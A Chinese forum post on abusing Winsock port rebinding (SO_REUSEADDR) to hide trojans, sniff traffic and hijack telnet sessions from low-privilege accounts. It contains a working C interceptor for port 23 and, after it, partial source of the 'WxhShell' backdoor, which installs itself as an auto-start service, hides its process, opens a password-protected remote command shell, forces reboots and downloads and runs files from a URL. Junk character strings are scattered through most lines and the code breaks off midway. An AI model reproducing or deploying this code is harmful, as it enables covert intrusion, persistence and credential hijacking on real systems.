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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \EoE/2"<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \-6y#R-B  
wUr(i*  
  saddr.sin_family = AF_INET; Qu=b-9  
ojf6@p_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zc;kNkV#1Y  
3I( n];  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _[-MyUs  
/ZabY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R--s u:  
uchQv]VB  
  这意味着什么?意味着可以进行如下的攻击: Aqf91 [c  
hf9i%,J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hN=kU9@knC  
exiu;\+j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T$2A2gb `  
4C_1wk('  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2INpo  
9M9Fif.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ji!i}UjD7!  
(EWGX |QA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 86-Rm  
:'ZR!w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uuFQTx))  
LsIZeL^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i7h^L)M  
,=Wj*S)~  
  #include [3-u7Fx!  
  #include )hO%W|  
  #include (9aOET>GG  
  #include    =#9#unvE!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PZV>A!7C8n  
  int main() CStNCBZ|\  
  { Y iuV\al  
  WORD wVersionRequested; 'G % ]/'_U  
  DWORD ret; LXby(|< j  
  WSADATA wsaData; <#M1I!R  
  BOOL val; 8h|}Q_  
  SOCKADDR_IN saddr; `{Oqb  
  SOCKADDR_IN scaddr; wj}LVyV  
  int err; ^C^I  
  SOCKET s; ?OnL,y|  
  SOCKET sc; p.(+L^-=  
  int caddsize; *.wj3' wV  
  HANDLE mt; %{r3"Q=;W  
  DWORD tid;   g]z k`R5  
  wVersionRequested = MAKEWORD( 2, 2 ); JLWm9c+UTG  
  err = WSAStartup( wVersionRequested, &wsaData ); ^u$=<66  
  if ( err != 0 ) { wV f 7<@/y  
  printf("error!WSAStartup failed!\n"); + XBF,<P  
  return -1; 7oIHp_Zq  
  } {RI^zNgs[  
  saddr.sin_family = AF_INET; lbovwj  
   $RI$VyAjD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ofoh4BL'1@  
ol_\ "  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V!]|u ^4I  
  saddr.sin_port = htons(23); b+whZtNk7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o?M;f\Fy  
  { 'Bt!X^  
  printf("error!socket failed!\n"); u|$HA>F[  
  return -1; R1Rk00Ow:  
  } +[n#{;]<  
  val = TRUE; ;DZj.| Sj+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m!<FlEkN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "-Ny f  
  { .e3@fq  
  printf("error!setsockopt failed!\n"); Iy*Q{H3[  
  return -1; n?OMfx  
  } #Cs/.(<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; IpzU=+h  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8#A4B2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8_`C&vx  
GK11fZpO:i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v?3xWXX,  
  { ON!Fk:-  
  ret=GetLastError(); vOKNBR2  
  printf("error!bind failed!\n"); %UooZO  
  return -1; P>~Usuf4  
  } 3''Kg<k,I  
  listen(s,2); 5'{QMnfB  
  while(1) UL~~J[1r  
  { GYJ j$'  
  caddsize = sizeof(scaddr); ia /#`#.  
  //接受连接请求 &l-d_dh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G^L9[c= ,  
  if(sc!=INVALID_SOCKET) #] Do_Z  
  { I}y6ke!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /: \27n  
  if(mt==NULL) {uZ|Oog(p  
  { Jz&dC  
  printf("Thread Creat Failed!\n"); dn42'(p@G  
  break; ^ -~=U^2tC  
  } Eoo[H2=^H  
  } ~pI`_3  
  CloseHandle(mt); Ei<+{P(t0  
  } k{Y\YG%b  
  closesocket(s); >U4bK^/Bp  
  WSACleanup(); I~"l9Jc!"  
  return 0; NX;{L#lQ  
  }   f<<$!]\  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,@N.v?p>  
  { 7:$dl #  
  SOCKET ss = (SOCKET)lpParam; T# tFzbr  
  SOCKET sc; [P)](8nR[  
  unsigned char buf[4096]; RdpOj >fT  
  SOCKADDR_IN saddr; QqeF   
  long num; `C6,**`R$k  
  DWORD val; 9]{Ss$W3x  
  DWORD ret; F[v^43-^_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~g~`,:Qc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |NjyO>@Pa  
  saddr.sin_family = AF_INET; 6,R<8a;Wn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pFo,@M  
  saddr.sin_port = htons(23); +$^ [ r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bX%4[BKP  
  { r"5\\qf5*  
  printf("error!socket failed!\n"); dsK ^-e6:5  
  return -1; *Hh*!ePp  
  } Au )%w  
  val = 100; -fK_F6_\]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c8cGIAOY)  
  { f+c{<fX  
  ret = GetLastError(); ,fm{ krE  
  return -1; %Si3LQf  
  } }L5;=A']S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4)N~*+~\h  
  { U4e9[=q`'  
  ret = GetLastError(); !6s]p%{V  
  return -1; kf)s3I/`(  
  } *b1NVN$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i}5+\t[Q  
  { C[JPohm  
  printf("error!socket connect failed!\n"); V Z60   
  closesocket(sc); ^DR`!.ttr  
  closesocket(ss); OadGwa\:s  
  return -1; &gvX<X4e  
  } LFQP ysC  
  while(1) n]wZ7z  
  { Y3luU&'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^F/H?V/PX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -.vNb!=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !z?:Y#P3  
  num = recv(ss,buf,4096,0); V ;M'd@  
  if(num>0) `&A-m8X  
  send(sc,buf,num,0); M5LqZyY  
  else if(num==0) }Ot2; T  
  break; FBI^}^#_  
  num = recv(sc,buf,4096,0); <$'FTv  
  if(num>0) /vFdhh  
  send(ss,buf,num,0); _d3/="=  
  else if(num==0) eN I6V/\`  
  break; 2` h  
  } [UaM}-eR  
  closesocket(ss); |Iq\ZX%q  
  closesocket(sc); xV5eKV  
  return 0 ; a 1pa#WC  
  } N%QVkuCbM  
5A"OL6ty  
Z <tJ+  
========================================================== U_Va'7  
6rzXM`cs  
下边附上一个代码,,WXhSHELL Sc$]ar]S  
x-s]3'!L  
========================================================== 25`6V>\  
'd=B{7k@  
#include "stdafx.h" =wX(a  
D& #ph%U,P  
#include <stdio.h> XhJbBVS|  
#include <string.h> 1C\[n(9  
#include <windows.h> WJ$!W  
#include <winsock2.h> \P0>TWE  
#include <winsvc.h> rQPV@J]:  
#include <urlmon.h> C)`y<O  
Ny)!uqul*  
#pragma comment (lib, "Ws2_32.lib") N[AX]gOJ  
#pragma comment (lib, "urlmon.lib") AE 2>smp5@  
8;]U:tv  
#define MAX_USER   100 // 最大客户端连接数 IHtNaN )  
#define BUF_SOCK   200 // sock buffer (y!<^ Q  
#define KEY_BUFF   255 // 输入 buffer 1-60gI1)  
(Y%pk76d  
#define REBOOT     0   // 重启 MHkTN  
#define SHUTDOWN   1   // 关机 x*uQBNf=  
W-+~r  
#define DEF_PORT   5000 // 监听端口 ns,qj} #  
zDO`w0N  
#define REG_LEN     16   // 注册表键长度 7 xm>+(  
#define SVC_LEN     80   // NT服务名长度 d'Z  
H$i4OQ2  
// 从dll定义API #^fDKM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1zUo.Tg0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c31k%/.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &}G2;O}3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4:p+C-gs  
Bdd>r# ]  
// wxhshell配置信息 L^zF@n^5A  
struct WSCFG { Ec^x  
  int ws_port;         // 监听端口 yY$:zc"J  
  char ws_passstr[REG_LEN]; // 口令 qZ6Mk9@M  
  int ws_autoins;       // 安装标记, 1=yes 0=no Spossp`|  
  char ws_regname[REG_LEN]; // 注册表键名 jKI0d+U  
  char ws_svcname[REG_LEN]; // 服务名 $($26g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ({}JvSn1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n$fYgZKn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 - W5ml @  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tz&oe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" El$yM.M"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w{1DwCLKq  
P<@V  
}; { ke}W  
"[ 091<  
// default Wxhshell configuration JC6Bs`=s~  
struct WSCFG wscfg={DEF_PORT, 2/K38t'-  
    "xuhuanlingzhe", _S[@d^cY  
    1, G/:;Qig  
    "Wxhshell", t`6R)'  
    "Wxhshell", Ne)H*DT  
            "WxhShell Service", ~hSr06IY  
    "Wrsky Windows CmdShell Service", $-zt,iRyV  
    "Please Input Your Password: ", G:HPd.ay  
  1, 4]F:QS% x  
  "http://www.wrsky.com/wxhshell.exe", U&uop$/Cq  
  "Wxhshell.exe" [nO\Q3c|@$  
    }; Yz?4eSa/  
!R`E+G@   
// 消息定义模块 |~+i=y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u~]O #v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i9RAb tQ}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5YZh e4R  
char *msg_ws_ext="\n\rExit."; y7X2|$9z-  
char *msg_ws_end="\n\rQuit."; vtA%^~0  
char *msg_ws_boot="\n\rReboot..."; Wb1?>q  
char *msg_ws_poff="\n\rShutdown..."; A$7j B4  
char *msg_ws_down="\n\rSave to "; |E}-j;(  
s"'ns  
char *msg_ws_err="\n\rErr!"; !l(O$T9 T  
char *msg_ws_ok="\n\rOK!"; ?@>PKUv{  
*!m\%*y{  
char ExeFile[MAX_PATH]; j5Cf\*B4J  
int nUser = 0; 4v#A#5+O E  
HANDLE handles[MAX_USER]; la_FZ  
int OsIsNt; roNs~]6  
K}!YXy h  
SERVICE_STATUS       serviceStatus; )vD|VLV   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; znNv;-q  
VcORRUp  
// 函数声明 L r9z~T:ED  
int Install(void); jWGX :XB  
int Uninstall(void); o(Q='kK  
int DownloadFile(char *sURL, SOCKET wsh); 7DB!s@"  
int Boot(int flag); RO8]R2A  
void HideProc(void); S !R:a>\  
int GetOsVer(void); ZnRE:=  
int Wxhshell(SOCKET wsl); xj. )iegQ  
void TalkWithClient(void *cs); T#=&oy7  
int CmdShell(SOCKET sock); vU!<-T#  
int StartFromService(void); cE3V0voSw1  
int StartWxhshell(LPSTR lpCmdLine); K~jN"ev  
H  2UR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X  m%aT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1w|u ^[~u\  
Ov|Uux  
// 数据结构和表定义 oU)HxV  
SERVICE_TABLE_ENTRY DispatchTable[] = \:_!!   
{ ~MZ.988:<  
{wscfg.ws_svcname, NTServiceMain}, =d1i<iw?-  
{NULL, NULL} k4BiH5\hA  
}; V1\x.0Fs  
~w}Zv0  
// 自我安装 AGgL`sP  
int Install(void) _|KeB(W  
{ nISfRXU;  
  char svExeFile[MAX_PATH]; ?KXgG'!!  
  HKEY key; ARa9Ia{@  
  strcpy(svExeFile,ExeFile); Xd@x(T~'X  
nuLxOd*n  
// 如果是win9x系统,修改注册表设为自启动 F(+dX4$  
if(!OsIsNt) {  -TKQfd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UZ3oc[#D=]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q)KLf\  
  RegCloseKey(key); 7|$ H}$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O^I%Xk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uY*|bD`6&  
  RegCloseKey(key); 2 NrMse  
  return 0; G ~|Z (}H  
    } <P)0Yu  
  } a>/jW-?  
} *<T,Fyc|  
else { F` gQ[  
S!wY6z  
// 如果是NT以上系统,安装为系统服务 /Jw 65 e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @(Y+W2Iyy+  
if (schSCManager!=0) (vqI@fB';u  
{ 7s-ZRb[)1  
  SC_HANDLE schService = CreateService K/+w6d  
  ( =_Y#uE$  
  schSCManager, }Qo:;&"3  
  wscfg.ws_svcname, +x"cWOg  
  wscfg.ws_svcdisp, tr $~INe  
  SERVICE_ALL_ACCESS, ; \N${YIn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -jOCzp  
  SERVICE_AUTO_START, |UZhMF4/-L  
  SERVICE_ERROR_NORMAL, H3Z"u  
  svExeFile, d)X6x-(  
  NULL, .ko}m{  
  NULL, 9x0Ao*D<t  
  NULL, ;p}X]e l}  
  NULL, `:fc*n,*  
  NULL Q-LDFnOFwp  
  ); _N-JRM m<  
  if (schService!=0) PgYq=|]`  
  { }R -azN;  
  CloseServiceHandle(schService); eTp}*'$p  
  CloseServiceHandle(schSCManager); ]C me)&hX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \.7O0Q{  
  strcat(svExeFile,wscfg.ws_svcname); ~J:"sUR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &\0V*5tI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j. L`@  
  RegCloseKey(key); %7*Y@k-)o  
  return 0;  EL[N%M3  
    } Ltt+BUJc  
  } DlXthRM  
  CloseServiceHandle(schSCManager); D9|?1+Kc  
} ADa'(#+6  
} ]JXpe]B  
_+\hDV>v  
return 1; mjd9]HgN  
}  FGP~^Dr/  
K&WNtk3hT  
// 自我卸载 75pz' Cb  
int Uninstall(void) .RNr^*AQ  
{ 6jIW)C  
  HKEY key; Gv};mkX[N  
NI^[7.2  
if(!OsIsNt) { 'e(`2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W_zAAIY_Y  
  RegDeleteValue(key,wscfg.ws_regname); ]c8O"4n n  
  RegCloseKey(key); +r+H`cT@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^'|\8  
  RegDeleteValue(key,wscfg.ws_regname); kOfu7Zj  
  RegCloseKey(key); +P~E54  
  return 0; VS#i>nlT  
  } Y(D@B|"'m  
} Qhd~4  
} z.9 #AN=&[  
else { $cLtAo^W  
,'CDKzY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jF'azlT  
if (schSCManager!=0) &S.zc@rN  
{ p[QF3)9F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5O9Oi:-!c  
  if (schService!=0) h<wF;g,  
  { G}tq'#]E{z  
  if(DeleteService(schService)!=0) { VK+#!!Ha  
  CloseServiceHandle(schService); lrSo@JQ  
  CloseServiceHandle(schSCManager); 5@+8*Fdk  
  return 0; ;mXr])J  
  } 7/;Xt&  
  CloseServiceHandle(schService); 7CGKm8T  
  } 2w=0&wG4K  
  CloseServiceHandle(schSCManager); /hue]ZaQq  
} `A\ !Gn?   
} <!\J([NM8  
B 0%kq7>g  
return 1; 4QnJ;&~  
} `@{qnCNQ  
H ~c+L'=  
// 从指定url下载文件 1anV!&a<K(  
int DownloadFile(char *sURL, SOCKET wsh) 63QSYn,t  
{ .E_`*[ 5=  
  HRESULT hr; G! uQ|<(  
char seps[]= "/"; c@{,&,vsj  
char *token; $-VW)~Sl  
char *file; Vkex&?>v$  
char myURL[MAX_PATH]; %@U<|9 %ua  
char myFILE[MAX_PATH]; :yvUHx  
P%smX`v  
strcpy(myURL,sURL); Mg95us  
  token=strtok(myURL,seps); .1MXQLy  
  while(token!=NULL) \z8TYx@  
  { o([+Pp  
    file=token; &l%#OI}OE  
  token=strtok(NULL,seps); Gq;0j:?CC  
  } Z{RgpVt  
K:P gkc  
GetCurrentDirectory(MAX_PATH,myFILE); $cH'9W}3K  
strcat(myFILE, "\\"); c0Jf  
strcat(myFILE, file); ltHC+8 aZ  
  send(wsh,myFILE,strlen(myFILE),0); E/_=0t  
send(wsh,"...",3,0); f7XmVCz1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FFtj5e  
  if(hr==S_OK) hGF:D#jyT  
return 0; K ^H=E  
else }?>30+42:  
return 1; x&)P)H0vn  
\u,hS*v0  
} 6ssZg@}nf{  
-BACdX  
// 系统电源模块 fCZbIt)Eh  
int Boot(int flag) Old5E&  
{ \I#2Mq?  
  HANDLE hToken; f? [y-  
  TOKEN_PRIVILEGES tkp; nb22b Xt  
yXrFH@3  
  if(OsIsNt) { J_U1eSz<j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a+zE`uY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nb'],({:9  
    tkp.PrivilegeCount = 1; ]=q?= %H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H*yX Iq:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {:od=\*R  
if(flag==REBOOT) { |,t#Au}61  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s qac>v  
  return 0; b)$<aFl  
} `6 lc]r  
else { _l}&|:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2}I1z_dq~  
  return 0; Y'bDEdeT  
} 3boINmX  
  } 69r<Z  
  else { x1$fkNu  
if(flag==REBOOT) { &c ayhL/%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q+e'=0BHd:  
  return 0; <G\q/!@_  
} |CY.Y,  
else { v~ZdMQvwt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5cgDHs  
  return 0; n/S1Hae`  
} [)# ,~L3  
} Mh[;E'C6  
Skp&W*Ai  
return 1; m}Kn!21  
} PRWS[2[yk  
#G$_\bt  
// win9x进程隐藏模块 2^Q)~sSf9  
void HideProc(void) f77Jn^Dt  
{ 6*GY%~JbD  
ZnI_<iFR*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^yu0Veypy  
  if ( hKernel != NULL ) + Q}Y?([  
  { M7fw/i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B;2os^*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4}!riWR   
    FreeLibrary(hKernel); oOmPbAY  
  } NK$k9,  
[- a2<E  
return; loLQ@?E  
} /al(=zf  
xCEEv5(5  
// 获取操作系统版本 ow>^(>^~  
int GetOsVer(void) B'lWs;  
{ '0p 5|[ZD  
  OSVERSIONINFO winfo; (lTM5qC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %kxq"=3  
  GetVersionEx(&winfo); p'0jdb :S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |-e*^|  
  return 1; | Z0?  
  else J3Qv|w [3Y  
  return 0; `kpX}cKK}  
} \A6MVMF8  
N&]v\MjI62  
// 客户端句柄模块 %FDi7Rx  
int Wxhshell(SOCKET wsl) -}/u?3^-  
{ >8"oO[U5>  
  SOCKET wsh; /!=uM .  
  struct sockaddr_in client; 0~iC#lHO  
  DWORD myID; (CJiCtAsl`  
`TYQ^Zm  
  while(nUser<MAX_USER) .0:BgM  
{ 6iV jAxR  
  int nSize=sizeof(client); Hzcy '  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); puF'w:I (  
  if(wsh==INVALID_SOCKET) return 1; GbFLu`Iu  
n#uH^@#0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5|my}.TR  
if(handles[nUser]==0) Kfa7}f_  
  closesocket(wsh); ig4wwd@|  
else I= G%r/3  
  nUser++; vIF=kKl9,  
  } w,bILv)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {>H#/I8si  
;5:g%Dt  
  return 0; >@KQ )p' `  
} L$=@j_V2  
q#:,6HDd  
// 关闭 socket r(y1^S9!8  
void CloseIt(SOCKET wsh) G~1#kg  
{ (~:k70V5  
closesocket(wsh); &$?e D{  
nUser--; 9I0/KuZd O  
ExitThread(0); \(Dq=UzQI  
} ^m;dEe&@F  
)IPnSh/ <  
// 客户端请求句柄 bj\v0NKN4  
void TalkWithClient(void *cs) q>/# P5V  
{ 1mhX3  
SlB,?R2  
  SOCKET wsh=(SOCKET)cs; ]wh8m1  
  char pwd[SVC_LEN]; 9_h 3<3e  
  char cmd[KEY_BUFF]; Vc.A <(  
char chr[1]; 7 Bm 18  
int i,j; z~Ph=1O>p  
D M(WYL{  
  while (nUser < MAX_USER) { !8yw!hA  
+Mc kR  
if(wscfg.ws_passstr) {  *Dtwr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m^rgzx19?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ja>UcE29  
  //ZeroMemory(pwd,KEY_BUFF); #/$}zl  
      i=0; 06"p ^#  
  while(i<SVC_LEN) { ZHUA M59bx  
Xt~`EN  
  // 设置超时 |};]^5s9  
  fd_set FdRead; nv1'iSEeOl  
  struct timeval TimeOut; #u~s,F$De  
  FD_ZERO(&FdRead); Ug_5INK  
  FD_SET(wsh,&FdRead); u3vBMe0v[  
  TimeOut.tv_sec=8; 8:;_MBt  
  TimeOut.tv_usec=0; &o{I9MD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I'2:>44>I6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CXks~b3SD  
vn|u&}h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nkTH#WTfR  
  pwd=chr[0]; 4b=hFwr[?  
  if(chr[0]==0xd || chr[0]==0xa) { c|3%0=,`  
  pwd=0; Yq}7x1mm  
  break; wNL!T6"G  
  } QLH&WF  
  i++; bhe~ekb  
    } *6^|i}  
jIJVl \i]  
  // 如果是非法用户,关闭 socket =MDir$1Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  G7 >  
} WXu:mv,'e  
^I3cU'X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h=SQ]nV{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {k] 2h4 &h  
2K<rK(  
while(1) { }uo5rB5D  
)tR5JK} AV  
  ZeroMemory(cmd,KEY_BUFF); Uov%12  
E*ybf'  
      // 自动支持客户端 telnet标准   C\Q3vG  
  j=0; Jfa=#`    
  while(j<KEY_BUFF) { C-d|;R}Ww  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _6"vPN  
  cmd[j]=chr[0]; x%d+~U;$&  
  if(chr[0]==0xa || chr[0]==0xd) { T:o!H Xdj^  
  cmd[j]=0; ,{:c<W:A]  
  break; ]#R'hL%f  
  } EJ{Z0R{{  
  j++; L,!?'.*/]  
    } :kh l}|  
(1H_V(  
  // 下载文件 _'<V<OjVM!  
  if(strstr(cmd,"http://")) { I7TdBe-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j b1OcI%  
  if(DownloadFile(cmd,wsh)) *I%r   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); / U1VE|T  
  else iY"I:1l.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z1}YoCj1  
  } %Q5D#d"p`  
  else {  v'i"Q  
 =<fH RX`  
    switch(cmd[0]) { Sxf|gDC  
  9qD/q?Hh$  
  // 帮助 }'$6EgX  
  case '?': { 58zs% +F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A[J9v{bD  
    break; .B*Yg<j  
  } x&sT )=#  
  // 安装 {%D!~,4Ht  
  case 'i': { Nge_ Ks  
    if(Install()) /{YUM~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WS9n.opl}  
    else ;y<)RM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h95C4jBE  
    break; lMAmico  
    } o O%!P<D  
  // 卸载 *LcLYxWo  
  case 'r': { VOwt2&mZ  
    if(Uninstall()) hR b k-b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xou7j   
    else Y<3s_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PN2\:l+`  
    break; ^.Q{Aqu#.H  
    } %\N.m/5  
  // 显示 wxhshell 所在路径 A}C&WT~  
  case 'p': { (ii 5pnq  
    char svExeFile[MAX_PATH]; gXI_S9 z  
    strcpy(svExeFile,"\n\r"); &=fBqod  
      strcat(svExeFile,ExeFile); yd "|HHx  
        send(wsh,svExeFile,strlen(svExeFile),0); %_u*5,w  
    break; p9R`hgx  
    } Rg)\o(J  
  // 重启 S$W *i@x?  
  case 'b': { <kn#`w1U'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [UNfft=K3P  
    if(Boot(REBOOT)) I /3=~;u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;4hI?  
    else { o;FjpZ  
    closesocket(wsh); ;w4rwL  
    ExitThread(0); n-,~Bp [  
    } 8"wA8l.  
    break; N rVQK}%K  
    } Xfx(X4$9  
  // 关机 g-mK(kY4p  
  case 'd': { M7yJ2u<Ty  
